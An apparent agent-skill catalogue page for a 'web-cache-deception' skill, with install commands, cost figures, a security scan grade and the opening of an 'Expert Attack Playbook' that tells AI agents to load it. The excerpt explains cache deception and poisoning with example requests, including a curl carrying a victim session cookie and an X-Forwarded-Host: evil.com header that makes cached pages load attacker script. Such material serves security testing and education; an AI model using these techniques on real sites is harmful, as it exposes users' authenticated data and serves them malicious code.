Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add JustineDevs/premortem --skill web-cache-deceptiongit clone --depth 1 https://github.com/JustineDevs/premortemWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/justinedevs/premortem/web-cache-deception)<a href="https://agentmods.dev/skills/justinedevs/premortem/web-cache-deception"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/web-cache-deception.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00040 | $0.01640 |
| Opus 5 | $0.00020 | $0.00820 |
| Sonnet 5 | $0.00008 | $0.00328 |
| Haiku 4.5 | $0.00004 | $0.00164 |
Grade A, and why
web-cache-deception scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css This is a copy
94% identical to web-cache-deception — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 223 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Web Cache Deception — Expert Attack Playbook
AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.
Advanced Reference
Also load CACHE_POISONING_TECHNIQUES.md when you need:
- Web Cache Poisoning vs Web Cache Deception — clear distinction and attack flow comparison
- Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
- Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
- Fat GET cache poisoning (body parameters reflected but not keyed)
- Parameter cloaking via semicolons and duplicate parameter parsing differentials
- CDN-specific behavior: CDN, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
- Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities
1. CORE CONCEPTS
Web Cache Deception (steal authenticated data)
The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:
Victim visits: https://target.com/account/profile/nonexistent.css
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
→ CDN sees .css extension → caches the response
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
→ CDN serves cached authenticated content → attacker reads victim's data
Web Cache Poisoning (serve malicious content)
The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Application generates: <script src="https://evil.com/js/app.js">
→ Cache stores this response
→ Normal users hit cache → load attacker's JavaScript
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 223 lines · 40 tokens per session scan A b77478748a20
web-cache-deception is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 40 tokens to every session and 1,640 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 94% identical to web-cache-deception, differing in 4 lines, and is treated as a copy.
Other skills, from other repositories
extract-api
This skill should be used when the user asks to "extract API from", "import API from", "add commands from this repo", "register API from docs", "convert docs to CLI commands", "import Postman collection", or provides a GitHub repository URL, a documentation site URL, a Postman collection file/URL, or a local API…
aws-cli
CLI-first AWS orchestration skill for Lambda, ECS/Fargate, and S3 workflows rooted in .☁️ runbooks.
azure-eventhub-dotnet
Azure Event Hubs SDK for .NET. Use for high-throughput event streaming: sending events (EventHubProducerClient, EventHubBufferedProducerClient), receiving events (EventProcessorClient with checkpointing), partition management, and real-time data ingestion. Triggers: "Event Hubs", "event streaming"…
voiden
Create and edit Voiden .void files for API testing. Covers the .void file format and all enabled extension block types.
notion
Notion workspace integration for searching pages, managing databases, creating postmortems, and exporting RCA findings.
ak-add-integration
Add a messaging platform integration to an existing Agent Kernel project. This skill guides you through adding Slack, WhatsApp, Messenger, Instagram, Telegram, Teams, or Gmail integration by generating configuration, updating dependencies, and setting up webhook handlers. Designed for users extending their agents.